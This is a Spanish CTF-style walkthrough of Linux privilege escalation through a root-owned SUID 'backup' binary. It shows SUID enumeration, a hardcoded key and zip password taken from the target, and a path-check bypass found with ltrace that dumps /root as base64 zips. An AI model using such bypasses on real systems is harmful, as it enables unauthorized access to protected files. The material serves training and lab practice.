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# Binario SUID (copia de seguridad) - Escalada de privilegios en Linux

Notas de binario SUID (copia de seguridad) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

Los binarios SUID se ejecutan con los privilegios de su propietario, a menudo root. Un binario SUID vulnerable, desactualizado o demasiado flexible puede leer archivos protegidos, iniciar una shell privilegiada o ejecutar código controlado por un atacante. Esta página específica se centra en **Binario SUID (Backup)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Ejemplos

Para buscar archivos con el bit SUID habilitado, se usa el siguiente comando:

```bash
find / -perm -4000 2>/dev/null
```

Esto nos permite encontrar un binario llamado `backup`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6922b7592f3cf4098f90ff1c3ce0a0f30c4e33c%2Fimage%20(2694).png?alt=media" alt=""><figcaption></figcaption></figure>

El propietario del binario es `root`, lo que significa que se ejecuta con privilegios de root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fcb0660850c1e58e8cef901fefeb0d47b831dfd%2Fimage%20(2695).png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando intentamos ejecutar este binario directamente, no sucede nada. Sin embargo, al probar diferentes entradas, descubrimos que acepta una cadena de tres caracteres separados por espacios, lo que revela las funciones disponibles:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00176e6ae952d6c12ee2591674b1c71bc529b2d2%2Fimage%20(2696).png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando miramos el `app.js` archivo, encontramos información sobre cómo usar el binario, así como una clave necesaria para su ejecución. La clave se encuentra en la parte superior del archivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea3eb180eb20afb5065e5116da7d5531f1460f%2Fimage%20(2697).png?alt=media" alt=""><figcaption></figcaption></figure>

Para usar el binario, necesitamos proporcionar la clave, seguida de la ruta del directorio donde guardar.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd8425aa280b95d8263516507e2c1a635339b9eb%2Fimage%20(2698).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Esto genera una salida en Base64.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d78f5c24e2fbd08a0ac7cde16882e7ee5e5a01a%2Fimage%20(2699).png?alt=media" alt=""><figcaption></figcaption></figure>

La salida en Base64 puede decodificarse en un `.zip` archivo usando el siguiente comando:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add6eb228092d08995a4a22ec00be62184a234ed%2Fimage%20(2700).png?alt=media" alt=""><figcaption></figcaption></figure>

El archivo zip está protegido con contraseña. Usamos la contraseña encontrada anteriormente

* contraseña: `magicword`

Sin embargo, el `root.txt` archivo contenido en el archivo comprimido es un señuelo (una trampa de distracción).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79d0d9d098154a4960f1ded8fe2d58fdf3a04e16%2Fimage%20(2701).png?alt=media" alt=""><figcaption></figcaption></figure>

## Análisis en profundidad con `ltrace`

Usando `ltrace`, observamos que el binario compara la ruta `/root` con la proporcionada en el argumento. Si las rutas coinciden, muestra una viñeta de un troll.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9399086f5f711c882db95e7cc13bf7e3dc7b9b%2Fimage%20(2702).png?alt=media" alt=""><figcaption></figcaption></figure>

Para omitir esta comprobación, ejecutamos el binario desde la raíz (`/`) solicitando una copia de seguridad de `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8e2ee2015d0e34119833bfc5a61210be94dc54f%2Fimage%20(2704).png?alt=media" alt=""><figcaption></figcaption></figure>

La nueva versión también está en Base64. La decodificamos para obtener el contenido final:

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### Bandera root.txt :)

Al extraer el archivo final, accedemos al contenido deseado.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-597ef9ae304190da28e338a8b46bb5914d17eb08%2Fimage%20(2706).png?alt=media" alt=""><figcaption></figcaption></figure>


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